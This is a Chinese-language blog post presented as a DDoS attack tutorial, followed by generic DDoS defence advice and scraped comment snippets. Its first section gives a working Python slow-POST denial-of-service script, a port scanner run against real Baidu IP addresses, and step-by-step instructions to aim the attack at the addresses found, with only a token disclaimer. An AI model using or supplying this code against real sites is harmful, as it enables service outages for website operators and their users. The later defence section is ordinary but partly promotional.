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ddos攻击网站教学

ddos攻击网站教学(DDOS黑客教程)

hacker hacker 发表于2022-07-12 14:04:28 浏览26 评论5

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本文目录一览:

怎么用DDOS攻击网站和IP啊

IP

不过扫

IP

有点复杂

可以用DOS

命令弄到对方IP

攻击后果:

网络中断

无法连接本地服务器

攻击原理:向攻击目标

发送大量的

垃圾数据

导致

网络宽带资源消耗

也会导致

网络丢失大量

正确的

数据

对攻击目标造成

网速卡

导致被攻击目标造成系统

瘫痪

如果不懂

我可以教你

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

网站被ddos时,怎么快速有效的解决问题?

如果你正在遭受DDOS攻击,那能做的抵御工作将是非常有限的。因为在原本没有准备好的情况下有大流量的灾难性DDOS攻击冲向,很可能在你还没回过神之际,网络就已经瘫痪。但还是可以抓住机会寻求一线希望的。

首先可以检查攻击来源,通常黑客会通过很多假IP地址发起攻击,此时,用户若能够分辨出哪些是真IP哪些是假IP地址,然后了解这些IP来自哪些网段,再找网网管理员将这些机器关闭,从而在第一时间消除攻击。如果发现这些IP地址是来自外面的而不是公司内部的IP的话,可以采取临时过滤的方法,将这些IP地址在服务器或路由器上过滤掉。 其次找出攻击者所经过的路由,把攻击屏蔽掉。若黑客从某些端口发动攻击,用户可把这些端口屏蔽掉,以阻止入侵。不过此方法对于公司网络出口只有一个,而又遭受到来自外部的DdoS攻击时不太奏效,毕竟将出口端口封闭后所有计算机都无法访问internet了。 最后还有一种比较折中的方法是在路由器上滤掉ICMP。虽然在攻击时无法完全消除入侵,但是过滤掉ICMP后可以有效的防止攻击规模的升级,也可以在一定程度上降低攻击的级别。

不知道你是否遇到过服务器因为DDOS攻击都瘫痪的情况,就网络安全而言目前最让人担心和害怕的入侵攻击,莫过于DDOS攻击。因为它和传统的攻击不同,采取的是仿真多个客户端来连接服务器,造成服务器无法完成如此多的客户端连接,从而无法提供服务。在防不胜防的情况下只能说尽量的提高防御,积极应对,做好防损措施,及时向专业人士寻求帮助,以免遭受白白的损失。

网站被DDOS攻击的防御方法?有效的防御?

一般来说,DDOS是需要花钱和带宽的,解决DDOS也需要花钱和带宽,那么,如果服务器被DDOS了,我们主要从以下两个方面来解决

1、保证服务器系统的安全

首先要确保服务器软件没有任何漏洞,防止攻击者入侵。确保服务器采用最新系统,并打上安全补丁。在服务器上删除未使用的服务,关闭未使用的端口。对于服务器上运行的网站,确保其打了最新的补丁,没有安全漏洞。

2、隐藏服务器的真实IP地址

不要把域名直接解析到服务器的真实IP地址,不能让服务器真实IP泄漏,服务器前端加CDN中转(免费的CDN一般能防止5G左右的DDOS),如果资金充裕的话,可以购买锐速云高防,用于隐藏服务器真实IP,域名解析使用CDN的IP,所有解析的子域名都使用CDN的IP地址。此外,服务器上部署的其他域名也不能使用真实IP解析,全部都使用CDN来解析。

总之,只要服务器的真实IP不泄露,5G以下小流量DDOS的预防花不了多少钱,免费的CDN就可以应付得了。如果攻击流量超过10G,那么免费的CDN可能就顶不住了,需要购买一个高防的盾机来应付了,而服务器的真实IP同样需要隐藏。

网站被攻击了如何防御?抗DDOS攻击需要这么做

想要顺利抗DDOS攻击,那么可以选择采用高性能的服务设备,往往在面对流量攻击的时候,如果设备较好,那么就可以通过流量限制的方式来应对攻击,这个方法还是比较有效的。另外,也可以选择避免使用NAT的方式抗住攻击,因为很多时候这样都会降低网络的通信能力,这样也就相当于间接的减少了防御的能力,所以通过避免使用NAT,能够起到防护效果。

如果网站的网络带宽足够强,那么自然能够轻松抗住攻击,因为这是直接决定了抗受的能力,锐速云分享如果有100M的带宽,那么在面对攻击的时候是十分轻松的,不过这个方法成本较高,不是很推荐。另外,也可以通过将网站做成静态页面的方式起到防护效果,缺点就是比较繁琐,一般只有大型网站才会这么做。

以上就是关于抗DDOS攻击的方法介绍,上述几种方法都是比较有效的,感兴趣的朋友可以去试一下。

群贤毕至

访客
俗野谜兔 俗野谜兔2022-07-12 20:23:57 | 回复 rting 39.156.69.8...starting 39.156.69.9...//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!接着,运行DDoS攻击程
末屿橪书 末屿橪书2022-07-12 19:54:24 | 回复 nt ("Send buf OK!,conn=%d\n"%i)           socks.append(s)       except Exception as ex:        
嘻友澉约 嘻友澉约2022-07-12 20:25:18 | 回复 ts_service)   #创建进程池,允许最多8个进程同时运行   pool = multiprocessing.Pool(processes=8)   net = '
只酷念稚 只酷念稚2022-07-12 16:16:41 | 回复 == '__main__':   m=multiprocessing.Manager()   ports_service=dict()   results=dict()   ports(ports_service)   #创建进程池,允许最多8
孤央神择 孤央神择2022-07-12 22:26:53 | 回复 pt socket.error:       print('socket creation error')       sys.exit()   for port in ports_service:       try:           #尝试连接指定端口